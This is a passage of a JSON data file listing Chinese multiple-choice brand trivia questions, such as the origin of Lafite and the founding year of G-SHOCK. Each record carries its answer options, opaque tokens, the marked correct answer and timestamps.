04:49:24","status":"1"},{"questionId":"6301443020","questionIndex":"3","questionStem":"悟空小侠系列是致敬什么中国名著?","options":"[{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XHld6CpEIauugQWg\",\"optionDesc\":\"《西游记》\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XscF0fGcQkQb68N9\",\"optionDesc\":\"《水浒传》\"},{\"optionId\":\"LccSx0BXjD4wDD2Ytln6X-DRYytNU1txssYt\",\"optionDesc\":\"《红楼梦》\"}]","questionToken":"LccSx0BXjD4wDD3IpRHhDvB6-F6SzvQAQVgOffrQ1vf0krExijscz4-JL58-pUbsY-Fe5wFKB2PBhvbKJwQ7n0BJ5GMZUA","correct":"{\"optionId\":\"LccSx0BXjD4wDD2Ytln6XHld6CpEIauugQWg\",\"optionDesc\":\"《西游记》\\t\\t\"}","create_time":"27/1/2021 04:47:12","update_time":"27/1/2021 04:47:12","status":"1"},{"questionId":"6301443021","questionIndex":"5","questionStem":"乐高好朋友系列中安德里亚擅长什么?","options":"[{\"optionId\":\"LccSx0BXjD4wDT2Ytln6Xwt32Z-oVN6w1AU\",\"optionDesc\":\"科学\"},{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XLjiKr6XIuO8lMo\",\"optionDesc\":\"音乐\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XmhPuPftToe32fk\",\"optionDesc\":\"运动\"}]","questionToken":"LccSx0BXjD4wDT3OpRHhCVaY2q-IYGGe213YNzpooSy9za29KFc0UhHoYsoKTekZm4NhoGYWlvftuKkEY8WNdmsa0L4_-w","correct":"{\"optionId\":\"LccSx0BXjD4wDT2Ytln6XLjiKr6XIuO8lMo\",\"optionDesc\":\"音乐\\t\\t\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6301443022","questionIndex":"4","questionStem":"董酒是什么香型?","options":"[{\"optionId\":\"LccSx0BXjD4wDj2Ytln6X-bz5fVcwa7Q6Mgksg\",\"optionDesc\":\"浓香\"},{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XKKtAHeRWbg_Qv_8MQ\",\"optionDesc\":\"董香型\"},{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XgxbNmciJM27yboHdg\",\"optionDesc\":\"酱香\"}]","questionToken":"LccSx0BXjD4wDj3PpRHhDnJVBcSyw3r6lT76bEboZm50R9FOLTobyaw2oGU-3qfHjTWQoTDyQH5YHU7YYaRV7N-ecV8PhA","correct":"{\"optionId\":\"LccSx0BXjD4wDj2Ytln6XKKtAHeRWbg_Qv_8MQ\",\"optionDesc\":\"董香型\"}","create_time":"27/1/2021 04:48:53","update_time":"27/1/2021 04:48:53","status":"1"},{"questionId":"6301443023","questionIndex":"1","questionStem":"董酒产自哪里?","options":"[{\"optionId\":\"LccSx0BXjD4wDz2Ytln6XLeYJVbGBSry4F46jg\",\"optionDesc\":\"贵州\\t\"},{\"optionId\":\"LccSx0BXjD4wDz2Ytln6X77C4uDkhVvVnjLEuw\",\"optionDesc\":\"四川\\t\"},{\"optionId\":\"LccSx0BXjD4wDz2Ytln6Xg7dc5APqOoamNNjmQ\",\"optionDesc\":\"江苏\"}]","questionToken":"LccSx0BXjD4wDz3KpRHhCQlKWrVHdOt1ShPDSDKoNCF7jSo5-xas8-shVF_wk-GyASNKxfWf_H0XE2zqy9jPs1hdWTfPFw","correct":"{\"optionId\":\"LccSx0BXjD4wDz2Ytln6XLeYJVbGBSry4F46jg\",\"optionDesc\":\"贵州\\t\"}","create_time":"27/1/2021 04:34:39","update_time":"27/1/2021 04:34:39","status":"1"},{"questionId":"6301443024","questionIndex":"4","questionStem":"拉菲葡萄酒产自哪个国家?","options":"[{\"optionId\":\"LccSx0BXjD4wCD2Ytln6Xy5l4-8nv1-N0dfq\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XNmfjuZ8KYEON0lq\",\"optionDesc\":\"法国\"},{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XjoHTn-4J5zAQSqr\",\"optionDesc\":\"英国\"}]","questionToken":"LccSx0BXjD4wCD3PpRHhDj1-0bk4tGVuJAI3T2F-6vz50Kt_-_lsU3PlK-rECu3Z3wE46yzzrIHWUGzOduadGrym72mYYQ","correct":"{\"optionId\":\"LccSx0BXjD4wCD2Ytln6XNmfjuZ8KYEON0lq\",\"optionDesc\":\"法国\"}","create_time":"27/1/2021 04:37:26","update_time":"27/1/2021 04:37:26","status":"1"},{"questionId":"6301443025","questionIndex":"5","questionStem":"拉菲罗斯柴尔德集团哪一年购买的拉菲古堡?","options":"[{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XuksL9JC2XOuAa8\",\"optionDesc\":\"1855年\"},{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XI-GRJrnhxBoW7E\",\"optionDesc\":\"1868年\"},{\"optionId\":\"LccSx0BXjD4wCT2Ytln6X3xxIk30xzxYLUU\",\"optionDesc\":\"1867年\"}]","questionToken":"LccSx0BXjD4wCT3OpRHhCTOYNTPrv9IN7V5m8AWye_ii_j14LJjG45c_Piu5mtoonNL54A3lBMRlr1AvatPxOqLQam2V-Q","correct":"{\"optionId\":\"LccSx0BXjD4wCT2Ytln6XI-GRJrnhxBoW7E\",\"optionDesc\":\"1868年\"}","create_time":"27/1/2021 04:42:53","update_time":"27/1/2021 04:42:53","status":"1"},{"questionId":"6301443026","questionIndex":"2","questionStem":"拉菲入门级标准款红酒是哪一款?","options":"[{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XlUubDt-DlkyXsJO-g\",\"optionDesc\":\"拉菲波尔多\"},{\"optionId\":\"LccSx0BXjD4wCj2Ytln6X0hjx2GYDLNvOkqS6g\",\"optionDesc\":\"拉菲传奇\"},{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XM-NJacDpg72kJxZsw\",\"optionDesc\":\"拉菲传奇波尔多\"}]","questionToken":"LccSx0BXjD4wCj3JpRHhCUyeoMwAqElHHMfzIqqbUm5f2b-_KJr1s3orIXwqYkNIeqmv2WPOTyrbgLXV52kmM8ojp4cxbg","correct":"{\"optionId\":\"LccSx0BXjD4wCj2Ytln6XM-NJacDpg72kJxZsw\",\"optionDesc\":\"拉菲传奇波尔多\"}","create_time":"27/1/2021 04:36:53","update_time":"27/1/2021 04:36:53","status":"1"},{"questionId":"6301443027","questionIndex":"4","questionStem":"拉菲莱斯古堡是拉菲集团哪一年购买的?","options":"[{\"optionId\":\"LccSx0BXjD4wCz2Ytln6X_rNOH64-pareRMsxQ\",\"optionDesc\":\"1988年\"},{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XnygZS9aO7XrD_iy-A\",\"optionDesc\":\"1983年\"},{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XEScIWeAshGaLptKFw\",\"optionDesc\":\"1984年\"}]","questionToken":"LccSx0BXjD4wCz3PpRHhDgWtIJhxubSORZurGasU1I04VGLFN_a1bPuH95li-q-MoVUkz45QNMJL4xuAh3ZZNplcJ6lyhQ","correct":"{\"optionId\":\"LccSx0BXjD4wCz2Ytln6XEScIWeAshGaLptKFw\",\"optionDesc\":\"1984年\"}","create_time":"27/1/2021 04:39:41","update_time":"27/1/2021 04:39:41","status":"1"},{"questionId":"6301443028","questionIndex":"5","questionStem":"洋河酒酿造原料以什么为主?","options":"[{\"optionId\":\"LccSx0BXjD4wBD2Ytln6X15qNBqjfyAm7RLL\",\"optionDesc\":\"小麦、玉米、豌豆\"},{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XpW6hxEiErALUWfb\",\"optionDesc\":\"小麦、玉米、高粱\"},{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XA7GbL2LSVCRFRGX\",\"optionDesc\":\"小麦、大麦、豌豆\\t\\t\"}]","questionToken":"LccSx0BXjD4wBD3OpRHhCaMp-VhWugm-tJoaksbeMu3jc5U0TjJtvJsmTA671j_lrIbqT1yOK-6P5ZN4GJJvTCvs6eletw","correct":"{\"optionId\":\"LccSx0BXjD4wBD2Ytln6XA7GbL2LSVCRFRGX\",\"optionDesc\":\"小麦、大麦、豌豆\\t\\t\"}","create_time":"27/1/2021 04:38:25","update_time":"27/1/2021 04:38:25","status":"1"},{"questionId":"6301443029","questionIndex":"4","questionStem":"洋河酿酒产区坐落于哪个湿地?","options":"[{\"optionId\":\"LccSx0BXjD4wBT2Ytln6X5ea8o5bio1y1EPtug\",\"optionDesc\":\"鄱阳湖\"},{\"optionId\":\"LccSx0BXjD4wBT2Ytln6XCD4AIxioYZO_pzoCQ\",\"optionDesc\":\"洪泽湖\\t\\t\"},{\"optionId\":\"LccSx0BXjD4wBT2Ytln6Xn5JNuiBe_FsVDfNoA\",\"optionDesc\":\"太湖\"}]","questionToken":"LccSx0BXjD4wBT3PpRHhDpoT-Fv6dzzzFS8p86fhRy8fUmdaRillsnmiaLHXXMgF39P7kWYVz7aJjxjenF2u9vRuheBuSQ","correct":"{\"optionId\":\"LccSx0BXjD4wBT2Ytln6XCD4AIxioYZO_pzoCQ\",\"optionDesc\":\"洪泽湖\\t\\t\"}","create_time":"27/1/2021 04:26:03","update_time":"27/1/2021 04:26:03","status":"1"},{"questionId":"6301443030","questionIndex":"3","questionStem":"洋河酒厂有限公司坐落于?","options":"[{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XzhH98pUsCnQ3gE\",\"optionDesc\":\"江苏南京\"},{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XuaG1RE1JcWRKRI\",\"optionDesc\":\"江苏徐州\"},{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XEPiXSovfArROew\",\"optionDesc\":\"江苏宿迁\\t\\t\"}]","questionToken":"LccSx0BXjD4xDD3IpRHhCaaZemkyzCoq5o1ZJ2qa_C8VRPc2Oe80Hve2z1_bzxW26eUuc2i0thprYbMP6QDbMDarCk6EWA","correct":"{\"optionId\":\"LccSx0BXjD4xDD2Ytln6XEPiXSovfArROew\",\"optionDesc\":\"江苏宿迁\\t\\t\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"6301443031","questionIndex":"4","questionStem":"君乐宝至臻系列形象大使是谁?","options":"[{\"optionId\":\"LccSx0BXjD4xDT2Ytln6Xne0wCqX0N1Ku8lf\",\"optionDesc\":\"姚明\"},{\"optionId\":\"LccSx0BXjD4xDT2Ytln6X4BJloj7-2mZVmKk\",\"optionDesc\":\"张继科\"},{\"optionId\":\"LccSx0BXjD4xDT2Ytln6XG9ZMXnHWtWnUgNg\",\"optionDesc\":\"易建联\\t\\t\"}]","questionToken":"LccSx0BXjD4xDT3PpRHhDkZONkYGItwMHC9PRAi-GQIrj1LBJONkx-q040CEmUOqRk6MekFTw4m__aaXDNScoVjjekAE5w","correct":"{\"optionId\":\"LccSx0BXjD4xDT2Ytln6XG9ZMXnHWtWnUgNg\",\"optionDesc\":\"易建联\\t\\t\"}","create_time":"27/1/2021 04:41:08","update_time":"27/1/2021 04:41:08","status":"1"},{"questionId":"6301443032","questionIndex":"4","questionStem":"君乐宝是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XPzrwFOF4sUemG4qKQ\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XoVBTZHWvMbTVNUFdw\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XyIaQksyvDizHk47AA\",\"optionDesc\":\"英国\"}]","questionToken":"LccSx0BXjD4xDj3PpRHhDn8HxcV1n6iiXy4TR1wDWhbnbwO7bzgkgPq6S90NJdjEHkJU1R4tNsRQfMPQMfcu7zL0vzFyOg","correct":"{\"optionId\":\"LccSx0BXjD4xDj2Ytln6XPzrwFOF4sUemG4qKQ\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:41:07","update_time":"27/1/2021 04:41:07","status":"1"},{"questionId":"6301443033","questionIndex":"5","questionStem":"君乐宝优萃系列有机生牛乳通过几次成粉? ","options":"[{\"optionId\":\"LccSx0BXjD4xDz2Ytln6X4k65a7bMoaW-t0\",\"optionDesc\":\"2次\"},{\"optionId\":\"LccSx0BXjD4xDz2Ytln6XGPojhdgOXx-3BQ\",\"optionDesc\":\"1次\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xDz2Ytln6Xjk699Sz4xknLV4\",\"optionDesc\":\"3次\"}]","questionToken":"LccSx0BXjD4xDz3OpRHhCd81jzMz8B7Kky7irdTal6rpUFDVMyhvi_0vwpcclR6pX12_anwH96avhDbnYkbG1jBxP8NuXw","correct":"{\"optionId\":\"LccSx0BXjD4xDz2Ytln6XGPojhdgOXx-3BQ\",\"optionDesc\":\"1次\\t\\t\"}","create_time":"27/1/2021 04:48:37","update_time":"27/1/2021 04:48:37","status":"1"},{"questionId":"6301443034","questionIndex":"2","questionStem":"君乐宝诠维爱系列包装罐上的是哪个动画片?","options":"[{\"optionId\":\"LccSx0BXjD4xCD2Ytln6XAyANEpRYB6quyM\",\"optionDesc\":\"熊出没\"},{\"optionId\":\"LccSx0BXjD4xCD2Ytln6X_1R33sagPy7krg\",\"optionDesc\":\"花园宝宝\"},{\"optionId\":\"LccSx0BXjD4xCD2Ytln6Xvegkg-z4RfXLH8\",\"optionDesc\":\"喜羊羊与灰太狼\"}]","questionToken":"LccSx0BXjD4xCD3JpRHhDrg4omDF0BxOM7zMPM9UijsESm71oxQOOSeltG9y95TuDkTimxEYy_OHsrSg1aohViX77G-cPg","correct":"{\"optionId\":\"LccSx0BXjD4xCD2Ytln6XAyANEpRYB6quyM\",\"optionDesc\":\"熊出没\"}","create_time":"27/1/2021 04:44:26","update_time":"27/1/2021 04:44:26","status":"1"},{"questionId":"6301443035","questionIndex":"5","questionStem":"君乐宝哪个系列奶粉有助于宝宝骨骼发育?","options":"[{\"optionId\":\"LccSx0BXjD4xCT2Ytln6Xw5uC9As9YrsxwpDNQ\",\"optionDesc\":\"优萃\"},{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XFL5tzOZTOxECLfzxA\",\"optionDesc\":\"至臻\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XgKVwl0h69psK6VbJQ\",\"optionDesc\":\"乐铂\"}]","questionToken":"LccSx0BXjD4xCT3OpRHhCSpel_OUuIug1mAzn11JKOCgq01_UZbTdd-BHtwNwkoXJWuQnN1D5PLtUbsQLBouSrTituB7cw","correct":"{\"optionId\":\"LccSx0BXjD4xCT2Ytln6XFL5tzOZTOxECLfzxA\",\"optionDesc\":\"至臻\\t\\t\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"6301443036","questionIndex":"3","questionStem":"天王表品牌成立了多长时间?","options":"[{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XsFEiUJtbArst9Q\",\"optionDesc\":\"25年\"},{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XCfZHZLtnMCXLU0\",\"optionDesc\":\"33年\"},{\"optionId\":\"LccSx0BXjD4xCj2Ytln6X70gCWjQOWmHvX4\",\"optionDesc\":\"20年\"}]","questionToken":"LccSx0BXjD4xCj3IpRHhDk3uJ-KA-PX9uCQfV-PzhsHQfdyyGPouiTlpyvljwLgvheqKbeDwHgPElesV1L8IzBGkSAv-9A","correct":"{\"optionId\":\"LccSx0BXjD4xCj2Ytln6XCfZHZLtnMCXLU0\",\"optionDesc\":\"33年\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"6301443037","questionIndex":"3","questionStem":"天王表是哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XPBPR9oZRdZYH3Q\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XhEiMI0dQCLpkus\",\"optionDesc\":\"韩国\"},{\"optionId\":\"LccSx0BXjD4xCz2Ytln6X_0qPwkvt8saBmA\",\"optionDesc\":\"日本\"}]","questionToken":"LccSx0BXjD4xCz3IpRHhCc0OCGOd6fxZp5yn0OtaXC0to3KmKnoWBZS02VK3tO-cSY9c8oPMqDiRSruS0WPGtQ-Ff5D5mQ","correct":"{\"optionId\":\"LccSx0BXjD4xCz2Ytln6XPBPR9oZRdZYH3Q\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:42:49","update_time":"27/1/2021 04:42:49","status":"1"},{"questionId":"6301443038","questionIndex":"4","questionStem":"天王表的品牌logo是什么形状的?","options":"[{\"optionId\":\"LccSx0BXjD4xBD2Ytln6X3fVjLgAxUjkeu1HMA\",\"optionDesc\":\"英雄\"},{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XE8ZLY4B1_WX_nW8Qw\",\"optionDesc\":\"皇冠形状\\t\\t\"},{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XoNjgz97nh1vWFanuA\",\"optionDesc\":\"星星\"}]","questionToken":"LccSx0BXjD4xBD3PpRHhDvWIOjV7WzuhnjrfCtymFvZ1Em7J2TQlRptgxQAVQG6koza-AAL0e-Tdozm3B5Ac9j6JqrukYg","correct":"{\"optionId\":\"LccSx0BXjD4xBD2Ytln6XE8ZLY4B1_WX_nW8Qw\",\"optionDesc\":\"皇冠形状\\t\\t\"}","create_time":"27/1/2021 04:43:45","update_time":"27/1/2021 04:43:45","status":"1"},{"questionId":"6301443039","questionIndex":"2","questionStem":"天王表总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XmXW86xOunRk-6o\",\"optionDesc\":\"上海\"},{\"optionId\":\"LccSx0BXjD4xBT2Ytln6X3XtC-J1hVXUhhA\",\"optionDesc\":\"北京\"},{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XN2FvR4p1ffkPck\",\"optionDesc\":\"深圳\\t\\t\"}]","questionToken":"LccSx0BXjD4xBT3JpRHhDixCoz4Dp5dzkLVP9QVgnk_VaJcjLEtdGUtmcabdvvdaNRMZbhKA7ghvM0ONbn2hjWUIk9W8WA","correct":"{\"optionId\":\"LccSx0BXjD4xBT2Ytln6XN2FvR4p1ffkPck\",\"optionDesc\":\"深圳\\t\\t\"}","create_time":"27/1/2021 04:40:09","update_time":"27/1/2021 04:40:09","status":"1"},{"questionId":"6301443040","questionIndex":"1","questionStem":"天王表年销多少只?","options":"[{\"optionId\":\"LccSx0BXjD42DD2Ytln6XiiANAO3-QbYlOx8KA\",\"optionDesc\":\"200多万\"},{\"optionId\":\"LccSx0BXjD42DD2Ytln6XMmNKquS-59wQAaxEA\",\"optionDesc\":\"300多万\\t\\t\"},{\"optionId\":\"LccSx0BXjD42DD2Ytln6X7Wuz3iCCIB1XUcp2w\",\"optionDesc\":\"100多万\"}]","questionToken":"LccSx0BXjD42DD3KpRHhCdPHn34u7GX3frXSikSxGfEbofkVluUg-IWUnaLLKLBq9MmzIEkKt7ho0Sqeqcv7WZB5EbDElA","correct":"{\"optionId\":\"LccSx0BXjD42DD2Ytln6XMmNKquS-59wQAaxEA\",\"optionDesc\":\"300多万\\t\\t\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"6301443041","questionIndex":"5","questionStem":"天霸成立于哪一年?","options":"[{\"optionId\":\"LccSx0BXjD42DT2Ytln6XOqeORd7RSGaOg4EBg\",\"optionDesc\":\"1982年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42DT2Ytln6XiU-rZZYKQ_cN2evXQ\",\"optionDesc\":\"1985年\"},{\"optionId\":\"LccSx0BXjD42DT2Ytln6Xx3oMbOdVIKo-CG1BA\",\"optionDesc\":\"1983年\"}]","questionToken":"LccSx0BXjD42DT3OpRHhCZDc7wYqwb_X8AIrxlHGQdB8yy1hw06qi8KD2vqIjRqy9jrxJSGjTyi5eznbAZeb96lz9pzH5Q","correct":"{\"optionId\":\"LccSx0BXjD42DT2Ytln6XOqeORd7RSGaOg4EBg\",\"optionDesc\":\"1982年\\t\\t\"}","create_time":"27/1/2021 04:44:19","update_time":"27/1/2021 04:44:19","status":"1"},{"questionId":"6301443042","questionIndex":"1","questionStem":"天霸总部在哪个城市?","options":"[{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XqOQKm0aHY8ewosMSw\",\"optionDesc\":\"珠海\"},{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XO3jPOhQHx905CKhIQ\",\"optionDesc\":\"深圳\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XyoaylCeC2ULIjwRCQ\",\"optionDesc\":\"广州\"}]","questionToken":"LccSx0BXjD42Dj3KpRHhCeF3mX23zBV6mXDu2eiVpZ01K3Brlf69isNIknn7VYs9p30sVLZp3d1ieZ3Vo1yiEnRyU8qdfQ","correct":"{\"optionId\":\"LccSx0BXjD42Dj2Ytln6XO3jPOhQHx905CKhIQ\",\"optionDesc\":\"深圳\\t\\t\"}","create_time":"27/1/2021 04:36:52","update_time":"27/1/2021 04:36:52","status":"1"},{"questionId":"6301443043","questionIndex":"5","questionStem":"天霸品牌成立了多久?","options":"[{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XJZNyM25rNgFyg\",\"optionDesc\":\"39年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Dz2Ytln6X-251HVDJDgj-Q\",\"optionDesc\":\"20年\"},{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XptGZJeqpIv1Wg\",\"optionDesc\":\"30年\"}]","questionToken":"LccSx0BXjD42Dz3OpRHhDumtaPmPn7iAggQprYdhocd4j9uickMWBauCE8gKqerc56f6anGmZTfxGhCm8TaWnYsBgX-GTg","correct":"{\"optionId\":\"LccSx0BXjD42Dz2Ytln6XJZNyM25rNgFyg\",\"optionDesc\":\"39年\\t\\t\"}","create_time":"27/1/2021 04:41:17","update_time":"27/1/2021 04:41:17","status":"1"},{"questionId":"6301443044","questionIndex":"5","questionStem":"MNO品牌的宣传语是哪个?","options":"[{\"optionId\":\"LccSx0BXjD42CD2Ytln6XpeLBuABYHnZpvBK\",\"optionDesc\":\"拒绝随波逐流\"},{\"optionId\":\"LccSx0BXjD42CD2Ytln6X2QSGgd_78mD69kU\",\"optionDesc\":\"人生时刻的记忆\"},{\"optionId\":\"LccSx0BXjD42CD2Ytln6XNyd3_VFOtWs55xR\",\"optionDesc\":\"梦梭时刻让你感动\"}]","questionToken":"LccSx0BXjD42CD3OpRHhCeOSIG0BDHJbumiKxhuP_1A6BNBMUKGvd7sKJkGEneuSq2_wkuXaLTSB77j0m1yuVz4LqkxH0A","correct":"{\"optionId\":\"LccSx0BXjD42CD2Ytln6XNyd3_VFOtWs55xR\",\"optionDesc\":\"梦梭时刻让你感动\"}","create_time":"27/1/2021 04:45:12","update_time":"27/1/2021 04:45:12","status":"1"},{"questionId":"6301443045","questionIndex":"3","questionStem":"MNO男表的包装盒是什么颜色?","options":"[{\"optionId\":\"LccSx0BXjD42CT2Ytln6Xj0tzCCBEqJ7LObn\",\"optionDesc\":\"红色\"},{\"optionId\":\"LccSx0BXjD42CT2Ytln6X_KVqvukoJf0kw3h\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LccSx0BXjD42CT2Ytln6XEq_viXsLcYGP384\",\"optionDesc\":\"白色\\t\\t\"}]","questionToken":"LccSx0BXjD42CT3IpRHhCT0TdXrIidoX5hWy4fbAEK6QXRS2SUu8xTKuRd6-huv3ooCMj5vSZCys6Qcuqwp72p2M6_tpew","correct":"{\"optionId\":\"LccSx0BXjD42CT2Ytln6XEq_viXsLcYGP384\",\"optionDesc\":\"白色\\t\\t\"}","create_time":"27/1/2021 04:31:39","update_time":"27/1/2021 04:31:39","status":"1"},{"questionId":"6301443046","questionIndex":"5","questionStem":"G-SHOCK诞生于哪年?","options":"[{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XP52MeTKI6I5RgFK\",\"optionDesc\":\"1983年\\t\\t\"},{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XonDL8ophxeg632E\",\"optionDesc\":\"1982年\"},{\"optionId\":\"LccSx0BXjD42Cj2Ytln6X5glCfJVy6AcE5ZK\",\"optionDesc\":\"1981年\"}]","questionToken":"LccSx0BXjD42Cj3OpRHhDpi9WK-AZwyqPA0P_v16mFAU9z51QPw16IPR361V9koV8tAwq9P8njtxUnlwH70p-CJVUs5Gng","correct":"{\"optionId\":\"LccSx0BXjD42Cj2Ytln6XP52MeTKI6I5RgFK\",\"optionDesc\":\"1983年\\t\\t\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"6301443047","questionIndex":"2","questionStem":"卡西欧手表核心卖点是什么?","options":"[{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XBWE5-buyzBcy-k16w\",\"optionDesc\":\"多功能且易操作\\t\"},{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XnNeXzuHBAIyR_17kA\",\"optionDesc\":\"200米防水\"},{\"optionId\":\"LccSx0BXjD42Cz2Ytln6X9Ply2B338V9Lbt6QA\",\"optionDesc\":\"耐摔\"}]","questionToken":"LccSx0BXjD42Cz3JpRHhCQo4MA1iusKaB8fJfZK2I75XmpPzXsw5bhAi2faAFom7mHSqxOO0gCBkdAWUj3earggdSAcZbQ","correct":"{\"optionId\":\"LccSx0BXjD42Cz2Ytln6XBWE5-buyzBcy-k16w\",\"optionDesc\":\"多功能且易操作\\t\"}","create_time":"27/1/2021 04:49:36","update_time":"27/1/2021 04:49:36","status":"1"},{"questionId":"6301443048","questionIndex":"4","questionStem":"G-SHOCK初代表是哪款?","options":"[{\"optionId\":\"LccSx0BXjD42BD2Ytln6X_tr2bD8onozH7Xzyw\",\"optionDesc\":\"DW-5600\"},{\"optionId\":\"LccSx0BXjD42BD2Ytln6Xk16uk_FAtdq4lzjpA\",\"optionDesc\":\"DW-6900\"},{\"optionId\":\"LccSx0BXjD42BD2Ytln6XMrQWmmlVsYUYhmNPA\",\"optionDesc\":\"DW-5000C\\t\\t\"}]","questionToken":"LccSx0BXjD42BD3PpRHhDiMNt653-Iw11uzFgDSWRWD7QGiHPyjZNakUF-ZCROZ9s-MkHhXJGXeP8M-9tFpu1FdF3wH1OQ","correct":"{\"optionId\":\"LccSx0BXjD42BD2Ytln6XMrQWmmlVsYUYhmNPA\",\"optionDesc\":\"DW-5000C\\t\\t\"}","create_time":"27/1/2021 04:51:47","update_time":"27/1/2021 04:51:47","status":"1"},{"questionId":"6301443049","questionIndex":"4","questionStem":"G-SHOCK源于什么信念?","options":"[{\"optionId\":\"LccSx0BXjD42BT2Ytln6XhLkLgkT55wWXmU\",\"optionDesc\":\"创新为上\"},{\"optionId\":\"LccSx0BXjD42BT2Ytln6XGlC9mAiDc0-dc0\",\"optionDesc\":\"造一只坚固的手表\\t\"},{\"optionId\":\"LccSx0BXjD42BT2Ytln6Xx6O9vXvGPaYU4U\",\"optionDesc\":\"突破自我\"}]","questionToken":"LccSx0BXjD42BT3PpRHhCYcywZ57rUWwFfyM4AETXiYAVv9bc9e6jXxN6YFf5vYdVEmFnL0asTXZCteKn7IMxNELuxPHow","correct":"{\"optionId\":\"LccSx0BXjD42BT2Ytln6XGlC9mAiDc0-dc0\",\"optionDesc\":\"造一只坚固的手表\\t\"}","create_time":"27/1/2021 04:49:49","update_time":"27/1/2021 04:49:49","status":"1"},{"questionId":"6301443050","questionIndex":"4","questionStem":"以下哪个是Oakley的特色主打商品?","options":"[{\"optionId\":\"LccSx0BXjD43DD2Ytln6X-Nw4iFAyVSmC0kv7w\",\"optionDesc\":\"服装\"},{\"optionId\":\"LccSx0BXjD43DD2Ytln6XAFIqCUTOptNgtEa5w\",\"optionDesc\":\"运动太阳镜\\t\\t\"},{\"optionId\":\"LccSx0BXjD43DD2Ytln6XvmT66IdBWdRzEiY_w\",\"optionDesc\":\"头盔\"}]","questionToken":"LccSx0BXjD43DD3PpRHhCSntUkV6RkUcoGOTdMZP7UKmOFNmb9IrpteQHhnVq6Ksd3UalH_l-cUNHDC7ZjrdxaKfI7oVuQ","correct":"{\"optionId\":\"LccSx0BXjD43DD2Ytln6XAFIqCUTOptNgtEa5w\",\"optionDesc\":\"运动太阳镜\\t\\t\"}","create_time":"27/1/2021 03:40:35","update_time":"27/1/2021 03:40:35","status":"1"},{"questionId":"6301443051","questionIndex":"4","questionStem":"Oakley是来自哪个国家的品牌?","options":"[{\"optionId\":\"LccSx0BXjD43DT2Ytln6XqYL64AcAJCeSrPTog\",\"optionDesc\":\"日本\"},{\"optionId\":\"LccSx0BXjD43DT2Ytln6X0oT0zYe86VEqkLVzg\",\"optionDesc\":\"意大利\"},{\"optionId\":\"LccSx0BXjD43DT2Ytln6XDiwymvh4Li6a5_qOw\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"LccSx0BXjD43DT3PpRHhDvCirOYuGtyu3eIqioN5R-mdfGPCrkGQtfyrE-ZpgVN4IYodAnI9ZEBC__52OvmtTHwouFmrFA","correct":"{\"optionId\":\"LccSx0BXjD43DT2Ytln6XDiwymvh4Li6a5_qOw\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:50:56","update_time":"27/1/2021 